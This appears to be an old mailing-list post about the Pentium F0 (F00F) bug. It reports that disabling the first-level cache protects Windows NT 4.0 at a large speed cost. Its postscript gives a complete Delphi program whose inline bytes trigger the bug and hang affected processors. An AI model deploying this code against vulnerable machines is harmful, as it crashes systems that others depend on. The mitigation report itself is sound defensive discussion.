Hi everyone,
I just confirmed that disabling the 1st Level Cache (as someone suggested
here) in the BIOS (if it offers that option) makes at least Windows NT 4.0
immune against the F0-attack. You can leave the 2nd level Cache enabled.

Of course, this makes NT run at a crawl..

PS: This is a F0-Bug-hack written in Delphi 3.0, for those of us who prefer
pascal over C :)

program F0Bug;
uses windows;
begin
  asm
    db  $f0,$0f,$c7,$c8;
  end;
end.
